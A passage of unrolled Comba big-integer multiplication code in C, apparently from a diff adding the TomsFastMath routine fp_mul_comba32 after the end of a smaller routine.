MULADD(at[6], at[55]); MULADD(at[7], at[54]); MULADD(at[8], at[53]); MULADD(at[9], at[52]); MULADD(at[10], at[51]); MULADD(at[11], at[50]); MULADD(at[12], at[49]); MULADD(at[13], at[48]); MULADD(at[14], at[47]); MULADD(at[15], at[46]); MULADD(at[16], at[45]); MULADD(at[17], at[44]); MULADD(at[18], at[43]); MULADD(at[19], at[42]); MULADD(at[20], at[41]); MULADD(at[21], at[40]); MULADD(at[22], at[39]); MULADD(at[23], at[38]); MULADD(at[24], at[37]); MULADD(at[25], at[36]); MULADD(at[26], at[35]); MULADD(at[27], at[34]);
COMBA_STORE(C->dp[33]);
/* 34 */
COMBA_FORWARD;
MULADD(at[7], at[55]); MULADD(at[8], at[54]); MULADD(at[9], at[53]); MULADD(at[10], at[52]); MULADD(at[11], at[51]); MULADD(at[12], at[50]); MULADD(at[13], at[49]); MULADD(at[14], at[48]); MULADD(at[15], at[47]); MULADD(at[16], at[46]); MULADD(at[17], at[45]); MULADD(at[18], at[44]); MULADD(at[19], at[43]); MULADD(at[20], at[42]); MULADD(at[21], at[41]); MULADD(at[22], at[40]); MULADD(at[23], at[39]); MULADD(at[24], at[38]); MULADD(at[25], at[37]); MULADD(at[26], at[36]); MULADD(at[27], at[35]);
COMBA_STORE(C->dp[34]);
/* 35 */
COMBA_FORWARD;
MULADD(at[8], at[55]); MULADD(at[9], at[54]); MULADD(at[10], at[53]); MULADD(at[11], at[52]); MULADD(at[12], at[51]); MULADD(at[13], at[50]); MULADD(at[14], at[49]); MULADD(at[15], at[48]); MULADD(at[16], at[47]); MULADD(at[17], at[46]); MULADD(at[18], at[45]); MULADD(at[19], at[44]); MULADD(at[20], at[43]); MULADD(at[21], at[42]); MULADD(at[22], at[41]); MULADD(at[23], at[40]); MULADD(at[24], at[39]); MULADD(at[25], at[38]); MULADD(at[26], at[37]); MULADD(at[27], at[36]);
COMBA_STORE(C->dp[35]);
/* 36 */
COMBA_FORWARD;
MULADD(at[9], at[55]); MULADD(at[10], at[54]); MULADD(at[11], at[53]); MULADD(at[12], at[52]); MULADD(at[13], at[51]); MULADD(at[14], at[50]); MULADD(at[15], at[49]); MULADD(at[16], at[48]); MULADD(at[17], at[47]); MULADD(at[18], at[46]); MULADD(at[19], at[45]); MULADD(at[20], at[44]); MULADD(at[21], at[43]); MULADD(at[22], at[42]); MULADD(at[23], at[41]); MULADD(at[24], at[40]); MULADD(at[25], at[39]); MULADD(at[26], at[38]); MULADD(at[27], at[37]);
COMBA_STORE(C->dp[36]);
/* 37 */
COMBA_FORWARD;
MULADD(at[10], at[55]); MULADD(at[11], at[54]); MULADD(at[12], at[53]); MULADD(at[13], at[52]); MULADD(at[14], at[51]); MULADD(at[15], at[50]); MULADD(at[16], at[49]); MULADD(at[17], at[48]); MULADD(at[18], at[47]); MULADD(at[19], at[46]); MULADD(at[20], at[45]); MULADD(at[21], at[44]); MULADD(at[22], at[43]); MULADD(at[23], at[42]); MULADD(at[24], at[41]); MULADD(at[25], at[40]); MULADD(at[26], at[39]); MULADD(at[27], at[38]);
COMBA_STORE(C->dp[37]);
/* 38 */
COMBA_FORWARD;
MULADD(at[11], at[55]); MULADD(at[12], at[54]); MULADD(at[13], at[53]); MULADD(at[14], at[52]); MULADD(at[15], at[51]); MULADD(at[16], at[50]); MULADD(at[17], at[49]); MULADD(at[18], at[48]); MULADD(at[19], at[47]); MULADD(at[20], at[46]); MULADD(at[21], at[45]); MULADD(at[22], at[44]); MULADD(at[23], at[43]); MULADD(at[24], at[42]); MULADD(at[25], at[41]); MULADD(at[26], at[40]); MULADD(at[27], at[39]);
COMBA_STORE(C->dp[38]);
/* 39 */
COMBA_FORWARD;
MULADD(at[12], at[55]); MULADD(at[13], at[54]); MULADD(at[14], at[53]); MULADD(at[15], at[52]); MULADD(at[16], at[51]); MULADD(at[17], at[50]); MULADD(at[18], at[49]); MULADD(at[19], at[48]); MULADD(at[20], at[47]); MULADD(at[21], at[46]); MULADD(at[22], at[45]); MULADD(at[23], at[44]); MULADD(at[24], at[43]); MULADD(at[25], at[42]); MULADD(at[26], at[41]); MULADD(at[27], at[40]);
COMBA_STORE(C->dp[39]);
/* 40 */
COMBA_FORWARD;
MULADD(at[13], at[55]); MULADD(at[14], at[54]); MULADD(at[15], at[53]); MULADD(at[16], at[52]); MULADD(at[17], at[51]); MULADD(at[18], at[50]); MULADD(at[19], at[49]); MULADD(at[20], at[48]); MULADD(at[21], at[47]); MULADD(at[22], at[46]); MULADD(at[23], at[45]); MULADD(at[24], at[44]); MULADD(at[25], at[43]); MULADD(at[26], at[42]); MULADD(at[27], at[41]);
COMBA_STORE(C->dp[40]);
/* 41 */
COMBA_FORWARD;
MULADD(at[14], at[55]); MULADD(at[15], at[54]); MULADD(at[16], at[53]); MULADD(at[17], at[52]); MULADD(at[18], at[51]); MULADD(at[19], at[50]); MULADD(at[20], at[49]); MULADD(at[21], at[48]); MULADD(at[22], at[47]); MULADD(at[23], at[46]); MULADD(at[24], at[45]); MULADD(at[25], at[44]); MULADD(at[26], at[43]); MULADD(at[27], at[42]);
COMBA_STORE(C->dp[41]);
/* 42 */
COMBA_FORWARD;
MULADD(at[15], at[55]); MULADD(at[16], at[54]); MULADD(at[17], at[53]); MULADD(at[18], at[52]); MULADD(at[19], at[51]); MULADD(at[20], at[50]); MULADD(at[21], at[49]); MULADD(at[22], at[48]); MULADD(at[23], at[47]); MULADD(at[24], at[46]); MULADD(at[25], at[45]); MULADD(at[26], at[44]); MULADD(at[27], at[43]);
COMBA_STORE(C->dp[42]);
/* 43 */
COMBA_FORWARD;
MULADD(at[16], at[55]); MULADD(at[17], at[54]); MULADD(at[18], at[53]); MULADD(at[19], at[52]); MULADD(at[20], at[51]); MULADD(at[21], at[50]); MULADD(at[22], at[49]); MULADD(at[23], at[48]); MULADD(at[24], at[47]); MULADD(at[25], at[46]); MULADD(at[26], at[45]); MULADD(at[27], at[44]);
COMBA_STORE(C->dp[43]);
/* 44 */
COMBA_FORWARD;
MULADD(at[17], at[55]); MULADD(at[18], at[54]); MULADD(at[19], at[53]); MULADD(at[20], at[52]); MULADD(at[21], at[51]); MULADD(at[22], at[50]); MULADD(at[23], at[49]); MULADD(at[24], at[48]); MULADD(at[25], at[47]); MULADD(at[26], at[46]); MULADD(at[27], at[45]);
COMBA_STORE(C->dp[44]);
/* 45 */
COMBA_FORWARD;
MULADD(at[18], at[55]); MULADD(at[19], at[54]); MULADD(at[20], at[53]); MULADD(at[21], at[52]); MULADD(at[22], at[51]); MULADD(at[23], at[50]); MULADD(at[24], at[49]); MULADD(at[25], at[48]); MULADD(at[26], at[47]); MULADD(at[27], at[46]);
COMBA_STORE(C->dp[45]);
/* 46 */
COMBA_FORWARD;
MULADD(at[19], at[55]); MULADD(at[20], at[54]); MULADD(at[21], at[53]); MULADD(at[22], at[52]); MULADD(at[23], at[51]); MULADD(at[24], at[50]); MULADD(at[25], at[49]); MULADD(at[26], at[48]); MULADD(at[27], at[47]);
COMBA_STORE(C->dp[46]);
/* 47 */
COMBA_FORWARD;
MULADD(at[20], at[55]); MULADD(at[21], at[54]); MULADD(at[22], at[53]); MULADD(at[23], at[52]); MULADD(at[24], at[51]); MULADD(at[25], at[50]); MULADD(at[26], at[49]); MULADD(at[27], at[48]);
COMBA_STORE(C->dp[47]);
/* 48 */
COMBA_FORWARD;
MULADD(at[21], at[55]); MULADD(at[22], at[54]); MULADD(at[23], at[53]); MULADD(at[24], at[52]); MULADD(at[25], at[51]); MULADD(at[26], at[50]); MULADD(at[27], at[49]);
COMBA_STORE(C->dp[48]);
/* 49 */
COMBA_FORWARD;
MULADD(at[22], at[55]); MULADD(at[23], at[54]); MULADD(at[24], at[53]); MULADD(at[25], at[52]); MULADD(at[26], at[51]); MULADD(at[27], at[50]);
COMBA_STORE(C->dp[49]);
/* 50 */
COMBA_FORWARD;
MULADD(at[23], at[55]); MULADD(at[24], at[54]); MULADD(at[25], at[53]); MULADD(at[26], at[52]); MULADD(at[27], at[51]);
COMBA_STORE(C->dp[50]);
/* 51 */
COMBA_FORWARD;
MULADD(at[24], at[55]); MULADD(at[25], at[54]); MULADD(at[26], at[53]); MULADD(at[27], at[52]);
COMBA_STORE(C->dp[51]);
/* 52 */
COMBA_FORWARD;
MULADD(at[25], at[55]); MULADD(at[26], at[54]); MULADD(at[27], at[53]);
COMBA_STORE(C->dp[52]);
/* 53 */
COMBA_FORWARD;
MULADD(at[26], at[55]); MULADD(at[27], at[54]);
COMBA_STORE(C->dp[53]);
/* 54 */
COMBA_FORWARD;
MULADD(at[27], at[55]);
COMBA_STORE(C->dp[54]);
COMBA_STORE2(C->dp[55]);
C->used = 56;
C->sign = A->sign ^ B->sign;
fp_clamp(C);
COMBA_FINI;
}
#endif
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,290 @@
#define TFM_DEFINES
#include "fp_mul_comba.c"
#if defined(TFM_MUL32) && FP_SIZE >= 64
void fp_mul_comba32(fp_int *A, fp_int *B, fp_int *C)
{
fp_digit c0, c1, c2, at[64];
int out_size;
out_size = A->used + B->used;
memcpy(at, A->dp, 32 * sizeof(fp_digit));
memcpy(at+32, B->dp, 32 * sizeof(fp_digit));
COMBA_START;
COMBA_CLEAR;
/* 0 */
MULADD(at[0], at[32]);
COMBA_STORE(C->dp[0]);
/* 1 */
COMBA_FORWARD;
MULADD(at[0], at[33]); MULADD(at[1], at[32]);
COMBA_STORE(C->dp[1]);
/* 2 */
COMBA_FORWARD;
MULADD(at[0], at[34]); MULADD(at[1], at[33]); MULADD(at[2], at[32]);
COMBA_STORE(C->dp[2]);
/* 3 */
COMBA_FORWARD;
MULADD(at[0], at[35]); MULADD(at[1], at[34]); MULADD(at[2], at[33]); MULADD(at[3], at[32]);
COMBA_STORE(C->dp[3]);
/* 4 */
COMBA_FORWARD;
MULADD(at[0], at[36]); MULADD(at[1], at[35]); MULADD(at[2], at[34]); MULADD(at[3], at[33]); MULADD(at[4], at[32]);
COMBA_STORE(C->dp[4]);
/* 5 */
COMBA_FORWARD;
MULADD(at[0], at[37]); MULADD(at[1], at[36]); MULADD(at[2], at[35]); MULADD(at[3], at[34]); MULADD(at[4], at[33]); MULADD(at[5], at[32]);
COMBA_STORE(C->dp[5]);
/* 6 */
COMBA_FORWARD;
MULADD(at[0], at[38]); MULADD(at[1], at[37]); MULADD(at[2], at[36]); MULADD(at[3], at[35]); MULADD(at[4], at[34]); MULADD(at[5], at[33]); MULADD(at[6], at[32]);
COMBA_STORE(C->dp[6]);
/* 7 */
COMBA_FORWARD;
MULADD(at[0], at[39]); MULADD(at[1], at[38]); MULADD(at[2], at[37]); MULADD(at[3], at[36]); MULADD(at[4], at[35]); MULADD(at[5], at[34]); MULADD(at[6], at[33]); MULADD(at[7], at[32]);
COMBA_STORE(C->dp[7]);
/* 8 */
COMBA_FORWARD;
MULADD(at[0], at[40]); MULADD(at[1], at[39]); MULADD(at[2], at[38]); MULADD(at[3], at[37]); MULADD(at[4], at[36]); MULADD(at[5], at[35]); MULADD(at[6], at[34]); MULADD(at[7], at[33]); MULADD(at[8], at[32]);
COMBA_STORE(C->dp[8]);
/* 9 */
COMBA_FORWARD;
MULADD(at[0], at[41]); MULADD(at[1], at[40]); MULADD(at[2], at[39]); MULADD(at[3], at[38]); MULADD(at[4], at[37]); MULADD(at[5], at[36]); MULADD(at[6], at[35]); MULADD(at[7], at[34]); MULADD(at[8], at[33]); MULADD(at[9], at[32]);
COMBA_STORE(C->dp[9]);
/* 10 */
COMBA_FORWARD;
MULADD(at[0], at[42]); MULADD(at[1], at[41]); MULADD(at[2], at[40]); MULADD(at[3], at[39]); MULADD(at[4], at[38]); MULADD(at[5], at[37]); MULADD(at[6], at[36]); MULADD(at[7], at[35]); MULADD(at[8], at[34]); MULADD(at[9], at[33]); MULADD(at[10], at[32]);
COMBA_STORE(C->dp[10]);
/* 11 */
COMBA_FORWARD;
MULADD(at[0], at[43]); MULADD(at[1], at[42]); MULADD(at[2], at[41]); MULADD(at[3], at[40]); MULADD(at[4], at[39]); MULADD(at[5], at[38]); MULADD(at[6], at[37]); MULADD(at[7], at[36]); MULADD(at[8], at[35]); MULADD(at[9], at[34]); MULADD(at[10], at[33]); MULADD(at[11], at[32]);
COMBA_STORE(C->dp[11]);
/* 12 */
COMBA_FORWARD;
MULADD(at[0], at[44]); MULADD(at[1], at[43]); MULADD(at[2], at[42]); MULADD(at[3], at[41]); MULADD(at[4], at[40]); MULADD(at[5], at[39]); MULADD(at[6], at[38]); MULADD(at[7], at[37]); MULADD(at[8], at[36]); MULADD(at[9], at[35]); MULADD(at[10], at[34]); MULADD(at[11], at[33]); MULADD(at[12], at[32]);
COMBA_STORE(C->dp[12]);
/* 13 */
COMBA_FORWARD;
MULADD(at[0], at[45]); MULADD(at[1], at[44]); MULADD(at[2], at[43]); MULADD(at[3], at[42]); MULADD(at[4], at[41]); MULADD(at[5], at[40]); MULADD(at[6], at[39]); MULADD(at[7], at[38]); MULADD(at[8], at[37]); MULADD(at[9], at[36]); MULADD(at[10], at[35]); MULADD(at[11], at[34]); MULADD(at[12], at[33]); MULADD(at[13], at[32]);
COMBA_STORE(C->dp[13]);
/* 14 */
COMBA_FORWARD;
MULADD(at[0], at[46]); MULADD(at[1], at[45]); MULADD(at[2], at[44]); MULADD(at[3], at[43]); MULADD(at[4], at[42]); MULADD(at[5], at[41]); MULADD(at[6], at[40]); MULADD(at[7], at[39]); MULADD(at[8], at[38]); MULADD(at[9], at[37]); MULADD(at[10], at[36]); MULADD(at[11], at[35]); MULADD(at[12], at[34]); MULADD(at[13], at[33]); MULADD(at[14], at[32]);
COMBA_STORE(C->dp[14]);
/* 15 */
COMBA_FORWARD;
MULADD(at[0], at[47]); MULADD(at[1], at[46]); MULADD(at[2], at[45]); MULADD(at[3], at[44]); MULADD(at[4], at[43]); MULADD(at[5], at[42]); MULADD(at[6], at[41]); MULADD(at[7], at[40]); MULADD(at[8], at[39]); MULADD(at[9], at[38]); MULADD(at[10], at[37]); MULADD(at[11], at[36]); MULADD(at[12], at[35]); MULADD(at[13], at[34]); MULADD(at[14], at[33]); MULADD(at[15], at[32]);
COMBA_STORE(C->dp[15]);
/* 16 */
COMBA_FORWARD;
MULADD(at[0], at[48]); MULADD(at[1], at[47]); MULADD(at[2], at[46]); MULADD(at[3], at[45]); MULADD(at[4], at[44]); MULADD(at[5], at[43]); MULADD(at[6], at[42]); MULADD(at[7], at[41]); MULADD(at[8], at[40]); MULADD(at[9], at[39]); MULADD(at[10], at[38]); MULADD(at[11], at[37]); MULADD(at[12], at[36]); MULADD(at[13], at[35]); MULADD(at[14], at[34]); MULADD(at[15], at[33]); MULADD(at[16], at[32]);
COMBA_STORE(C->dp[16]);
/* 17 */
COMBA_FORWARD;
MULADD(at[0], at[49]); MULADD(at[1], at[48]); MULADD(at[2], at[47]); MULADD(at[3], at[46]); MULADD(at[4], at[45]); MULADD(at[5], at[44]); MULADD(at[6], at[43]); MULADD(at[7], at[42]); MULADD(at[8], at[41]); MULADD(at[9], at[40]); MULADD(at[10], at[39]); MULADD(at[11], at[38]); MULADD(at[12], at[37]); MULADD(at[13], at[36]); MULADD(at[14], at[35]); MULADD(at[15], at[34]); MULADD(at[16], at[33]); MULADD(at[17], at[32]);
COMBA_STORE(C->dp[17]);
/* 18 */
COMBA_FORWARD;
MULADD(at[0], at[50]); MULADD(at[1], at[49]); MULADD(at[2], at[48]); MULADD(at[3], at[47]); MULADD(at[4], at[46]); MULADD(at[5], at[45]); MULADD(at[6], at[44]); MULADD(at[7], at[43]); MULADD(at[8], at[42]); MULADD(at[9], at[41]); MULADD(at[10], at[40]); MULADD(at[11], at[39]); MULADD(at[12], at[38]); MULADD(at[13], at[37]); MULADD(at[14], at[36]); MULADD(at[15], at[35]); MULADD(at[16], at[34]); MULADD(at[17], at[33]); MULADD(at[18], at[32]);
COMBA_STORE(C->dp[18]);
/* 19 */
COMBA_FORWARD;
MULADD(at[0], at[51]); MULADD(at[1], at[50]); MULADD(at[2], at[49]); MULADD(at[3], at[48]); MULADD(at[4], at[47]); MULADD(at[5], at[46]); MULADD(at[6], at[45]); MULADD(at[7], at[44]); MULADD(at[8], at[43]); MULADD(at[9], at[42]); MULADD(at[10], at[41]); MULADD(at[11], at[40]); MULADD(at[12], at[39]); MULADD(at[13], at[38]); MULADD(at[14], at[37]); MULADD(at[15], at[36]); MULADD(at[16], at[35]); MULADD(at[17], at[34]); MULADD(at[18], at[33]); MULADD(at[19], at[32]);
COMBA_STORE(C->dp[19]);
/* 20 */
COMBA_FORWARD;
MULADD(at[0], at[52]); MULADD(at[1], at[51]); MULADD(at[2], at[50]); MULADD(at[3], at[49]); MULADD(at[4], at[48]); MULADD(at[5], at[47]); MULADD(at[6], at[46]); MULADD(at[7], at[45]); MULADD(at[8], at[44]); MULADD(at[9], at[43]); MULADD(at[10], at[42]); MULADD(at[11], at[41]); MULADD(at[12], at[40]); MULADD(at[13], at[39]); MULADD(at[14], at[38]); MULADD(at[15], at[37]); MULADD(at[16], at[36]); MULADD(at[17], at[35]); MULADD(at[18], at[34]); MULADD(at[19], at[33]); MULADD(at[20], at[32]);
COMBA_STORE(C->dp[20]);
/* 21 */
COMBA_FORWARD;
MULADD(at[0], at[53]); MULADD(at[1], at[52]); MULADD(at[2], at[51]); MULADD(at[3], at[50]); MULADD(at[4], at[49]); MULADD(at[5], at[48]); MULADD(at[6], at[47]); MULADD(at[7], at[46]); MULADD(at[8], at[45]); MULADD(at[9], at[44]); MULADD(at[10], at[43]); MULADD(at[11], at[42]); MULADD(at[12], at[41]); MULADD(at[13], at[40]); MULADD(at[14], at[39]); MULADD(at[15], at[38]); MULADD(at[16], at[37]); MULADD(at[17], at[36]); MULADD(at[18], at[35]); MULADD(at[19], at[34]); MULADD(at[20], at[33]); MULADD(at[21], at[32]);
COMBA_STORE(C->dp[21]);
/* 22 */
COMBA_FORWARD;
MULADD(at[0], at[54]); MULADD(at[1], at[53]); MULADD(at[2], at[52]); MULADD(at[3], at[51]); MULADD(at[4], at[50]); MULADD(at[5], at[49]); MULADD(at[6], at[48]); MULADD(at[7], at[47]); MULADD(at[8], at[46]); MULADD(at[9], at[45]); MULADD(at[10], at[44]); MULADD(at[11], at[43]); MULADD(at[12], at[42]); MULADD(at[13], at[41]); MULADD(at[14], at[40]); MULADD(at[15], at[39]); MULADD(at[16], at[38]); MULADD(at[17], at[37]); MULADD(at[18], at[36]); MULADD(at[19], at[35]); MULADD(at[20], at[34]); MULADD(at[21], at[33]); MULADD(at[22], at[32]);
COMBA_STORE(C->dp[22]);
/* 23 */
COMBA_FORWARD;
MULADD(at[0], at[55]); MULADD(at[1], at[54]); MULADD(at[2], at[53]); MULADD(at[3], at[52]); MULADD(at[4], at[51]); MULADD(at[5], at[50]); MULADD(at[6], at[49]); MULADD(at[7], at[48]); MULADD(at[8], at[47]); MULADD(at[9], at[46]); MULADD(at[10], at[45]); MULADD(at[11], at[44]); MULADD(at[12], at[43]); MULADD(at[13], at[42]); MULADD(at[14], at[41]); MULADD(at[15], at[40]); MULADD(at[16], at[39]); MULADD(at[17], at[38]); MULADD(at[18], at[37]); MULADD(at[19], at[36]); MULADD(at[20], at[35]); MULADD(at[21], at[34]); MULADD(at[22], at[33]); MULADD(at[23], at[32]);
COMBA_STORE(C->dp[23]);
/* 24 */
COMBA_FORWARD;
MULADD(at[0], at[56]); MULADD(at[1], at[55]); MULADD(at[2], at[54]); MULADD(at[3], at[53]); MULADD(at[4], at[52]); MULADD(at[5], at[51]); MULADD(at[6], at[50]); MULADD(at[7], at[49]); MULADD(at[8], at[48]); MULADD(at[9], at[47]); MULADD(at[10], at[46]); MULADD(at[11], at[45]); MULADD(at[12], at[44]); MULADD(at[13], at[43]); MULADD(at[14], at[42]); MULADD(at[15], at[41]); MULADD(at[16], at[40]); MULADD(at[17], at[39]); MULADD(at[18], at[38]); MULADD(at[19], at[37]); MULADD(at[20], at[36]); MULADD(at[21], at[35]); MULADD(at[22], at[34]); MULADD(at[23], at[33]); MULADD(at[24], at[32]);
COMBA_STORE(C->dp[24]);
/* 25 */
COMBA_FORWARD;
MULADD(at[0], at[57]); MULADD(at[1], at[56]); MULADD(at[2], at[55]); MULADD(at[3], at[54]); MULADD(at[4], at[53]); MULADD(at[5], at[52]); MULADD(at[6], at[51]); MULADD(at[7], at[50]); MULADD(at[8], at[49]); MULADD(at[9], at[48]); MULADD(at[10], at[47]); MULADD(at[11], at[46]); MULADD(at[12], at[45]); MULADD(at[13], at[44]); MULADD(at[14], at[43]); MULADD(at[15], at[42]); MULADD(at[16], at[41]); MULADD(at[17], at[40]); MULADD(at[18], at[39]); MULADD(at[19], at[38]); MULADD(at[20], at[37]); MULADD(at[21], at[36]); MULADD(at[22], at[35]); MULADD(at[23], at[34]); MULADD(at[24], at[33]); MULADD(at[25], at[32]);
COMBA_STORE(C->dp[25]);
/* 26 */
COMBA_FORWARD;
MULADD(at[0], at[58]); MULADD(at[1], at[57]); MULADD(at[2], at[56]); MULADD(at[3], at[55]); MULADD(at[4], at[54]); MULADD(at[5], at[53]); MULADD(at[6], at[52]); MULADD(at[7], at[51]); MULADD(at[8], at[50]); MULADD(at[9], at[49]); MULADD(at[10], at[48]); MULADD(at[11], at[47]); MULADD(at[12], at[46]); MULADD(at[13], at[45]); MULADD(at[14], at[44]); MULADD(at[15], at[43]); MULADD(at[16], at[42]); MULADD(at[17], at[41]); MULADD(at[18], at[40]); MULADD(at[19], at[39]); MULADD(at[20], at[38]); MULADD(at[21], at[37]); MULADD(at[22], at[36]); MULADD(at[23], at[35]); MULADD(at[24], at[34]); MULADD(at[25], at[33]); MULADD(at[26], at[32]);
COMBA_STORE(C->dp[26]);
/* 27 */
COMBA_FORWARD;
MULADD(at[0], at[59]); MULADD(at[1], at[58]); MULADD(at[2], at[57]); MULADD(at[3], at[56]); MULADD(at[4], at[55]); MULADD(at[5], at[54]); MULADD(at[6], at[53]); MULADD(at[7], at[52]); MULADD(at[8], at[51]); MULADD(at[9], at[50]); MULADD(at[10], at[49]); MULADD(at[11], at[48]); MULADD(at[12], at[47]); MULADD(at[13], at[46]); MULADD(at[14], at[45]); MULADD(at[15], at[44]); MULADD(at[16], at[43]); MULADD(at[17], at[42]); MULADD(at[18], at[41]); MULADD(at[19], at[40]); MULADD(at[20], at[39]); MULADD(at[21], at[38]); MULADD(at[22], at[37]); MULADD(at[23], at[36]); MULADD(at[24], at[35]); MULADD(at[25], at[34]); MULADD(at[26], at[33]); MULADD(at[27], at[32]);
COMBA_STORE(C->dp[27]);
/* 28 */
COMBA_FORWARD;
MULADD(at[0], at[60]); MULADD(at[1], at[59]); MULADD(at[2], at[58]); MULADD(at[3], at[57]); MULADD(at[4], at[56]); MULADD(at[5], at[55]); MULADD(at[6], at[54]); MULADD(at[7], at[53]); MULADD(at[8], at[52]); MULADD(at[9], at[51]); MULADD(at[10], at[50]); MULADD(at[11], at[49]); MULADD(at[12], at[48]); MULADD(at[13], at[47]); MULADD(at[14], at[46]); MULADD(at[15], at[45]); MULADD(at[16], at[44]); MULADD(at[17], at[43]); MULADD(at[18], at[42]); MULADD(at[19], at[41]); MULADD(at[20], at[40]); MULADD(at[21], at[39]); MULADD(at[22], at[38]); MULADD(at[23], at[37]); MULADD(at[24], at[36]); MULADD(at[25], at[35]); MULADD(at[26], at[34]); MULADD(at[27], at[33]); MULADD(at[28], at[32]);
COMBA_STORE(C->dp[28]);
/* 29 */
COMBA_FORWARD;
MULADD(at[0], at[61]); MULADD(at[1], at[60]); MULADD(at[2], at[59]); MULADD(at[3], at[58]); MULADD(at[4], at[57]); MULADD(at[5], at[56]); MULADD(at[6], at[55]); MULADD(at[7], at[54]); MULADD(at[8], at[53]); MULADD(at[9], at[52]); MULADD(at[10], at[51]); MULADD(at[11], at[50]); MULADD(at[12], at[49]); MULADD(at[13], at[48]); MULADD(at[14], at[47]); MULADD(at[15], at[46]); MULADD(at[16], at[45]); MULADD(at[17], at[44]); MULADD(at[18], at[43]); MULADD(at[19], at[42]); MULADD(at[20], at[41]); MULADD(at[21], at[40]); MULADD(at[22], at[39]); MULADD(at[23], at[38]); MULADD(at[24], at[37]); MULADD(at[25], at[36]); MULADD(at[26], at[35]); MULADD(at[27], at[34]); MULADD(at[28], at[33]); MULADD(at[29], at[32]);
COMBA_STORE(C->dp[29]);
/* 30 */
COMBA_FORWARD;
MULADD(at[0], at[62]); MULADD(at[1], at[61]); MULADD(at[2], at[60]); MULADD(at[3], at[59]); MULADD(at[4], at[58]); MULADD(at[5], at[57]); MULADD(at[6], at[56]); MULADD(at[7], at[55]); MULADD(at[8], at[54]); MULADD(at[9], at[53]); MULADD(at[10], at[52]); MULADD(at[11], at[51]); MULADD(at[12], at[50]); MULADD(at[13], at[49]); MULADD(at[14], at[48]); MULADD(at[15], at[47]); MULADD(at[16], at[46]); MULADD(at[17], at[45]); MULADD(at[18], at[44]); MULADD(at[19], at[43]); MULADD(at[20], at[42]); MULADD(at[21], at[41]); MULADD(at[22], at[40]); MULADD(at[23], at[39]); MULADD(at[24], at[38]); MULADD(at[25], at[37]); MULADD(at[26], at[36]); MULADD(at[27], at[35]); MULADD(at[28], at[34]); MULADD(at[29], at[33]); MULADD(at[30], at[32]);
COMBA_STORE(C->dp[30]);
/* 31 */
COMBA_FORWARD;
MULADD(at[0], at[63]); MULADD(at[1], at[62]); MULADD(at[2], at[61]); MULADD(at[3], at[60]); MULADD(at[4], at[59]); MULADD(at[5], at[58]); MULADD(at[6], at[57]); MULADD(at[7], at[56]); MULADD(at[8], at[55]); MULADD(at[9], at[54]); MULADD(at[10], at[53]); MULADD(at[11], at[52]); MULADD(at[12], at[51]); MULADD(at[13], at[50]); MULADD(at[14], at[49]); MULADD(at[15], at[48]); MULADD(at[16], at[47]); MULADD(at[17], at[46]); MULADD(at[18], at[45]); MULADD(at[19], at[44]); MULADD(at[20], at[43]); MULADD(at[21], at[42]); MULADD(at[22], at[41]); MULADD(at[23], at[40]); MULADD(at[24], at[39]); MULADD(at[25], at[38]); MULADD(at[26], at[37]); MULADD(at[27], at[36]); MULADD(at[28], at[35]); MULADD(at[29], at[34]); MULADD(at[30], at[33]); MULADD(at[31], at[32]);
COMBA_STORE(C->dp[31]);
/* 32 */
COMBA_FORWARD;
MULADD(at[1], at[63]); MULADD(at[2], at[62]); MULADD(at[3], at[61]); MULADD(at[4], at[60]); MULADD(at[5], at[59]); MULADD(at[6], at[58]); MULADD(at[7], at[57]); MULADD(at[8], at[56]); MULADD(at[9], at[55]); MULADD(at[10], at[54]); MULADD(at[11], at[53]); MULADD(at[12], at[52]); MULADD(at[13], at[51]); MULADD(at[14], at[50]); MULADD(at[15], at[49]); MULADD(at[16], at[48]); MULADD(at[17], at[47]); MULADD(at[18], at[46]); MULADD(at[19], at[45]); MULADD(at[20], at[44]); MULADD(at[21], at[43]); MULADD(at[22], at[42]); MULADD(at[23], at[41]); MULADD(at[24], at[40]); MULADD(at[25], at[39]); MULADD(at[26], at[38]); MULADD(at[27], at[37]); MULADD(at[28], at[36]); MULADD(at[29], at[35]); MULADD(at[30], at[34]); MULADD(at[31], at[33]);
COMBA_STORE(C->dp[32]);
/* 33 */
COMBA_FORWARD;
MULADD(at[2], at[63]); MULADD(at[3], at[62]); MULADD(at[4], at[61]); MULADD(at[5], at[60]); MULADD(at[6], at[59]); MULADD(at[7], at[58]); MULADD(at[8], at[57]); MULADD(at[9], at[56]); MULADD(at[10], at[55]); MULADD(at[11], at[54]); MULADD(at[12], at[53]); MULADD(at[13], at[52]); MULADD(at[14], at[51]); MULADD(at[15], at[50]); MULADD(at[16], at[49]); MULADD(at[17], at[48]); MULADD(at[18], at[47]); MULADD(at[19], at[46]); MULADD(at[20], at[45]); MULADD(at[21], at[44]); MULADD(at[22], at[43]); MULADD(at[23], at[42]); MULADD(at[24], at[41]); MULADD(at[25], at[40]); MULADD(at[26], at[39]); MULADD(at[27], at[38]); MULADD(at[28], at[37]); MULADD(at[29], at[36]); MULADD(at[30], at[35]); MULADD(at[31], at[34]);
COMBA_STORE(C->dp[33]);
/* 34 */
COMBA_FORWARD;
MULADD(at[3], at[63]); MULADD(at[4], at[62]); MULADD(at[5], at[61]); MULADD(at[6], at[60]); MULADD(at[7], at[59]); MULADD(at[8], at[58]); MULADD(at[9], at[57]); MULADD(at[10], at[56]); MULADD(at[11], at[55]); MULADD(at[12], at[54]); MULADD(at[13], at[53]); MULADD(at[14], at[52]); MULADD(at[15], at[51]); MULADD(at[16], at[50]); MULADD(at[17], at[49]); MULADD(at[18], at[48]); MULADD(at[19], at[47]); MULADD(at[20], at[46]); MULADD(at[21], at[45]); MULADD(at[22], at[44]); MULADD(at[23], at[43]); MULADD(at[24], at[42]); MULADD(at[25], at[41]); MULADD(at[26], at[40]); MULADD(at[27], at[39]); MULADD(at[28], at[38]); MULADD(at[29], at[37]); MULADD(at[30], at[36]); MULADD(at[31], at[35]);
COMBA_STORE(C->dp[34]);
/* 35 */
COMBA_FORWARD;
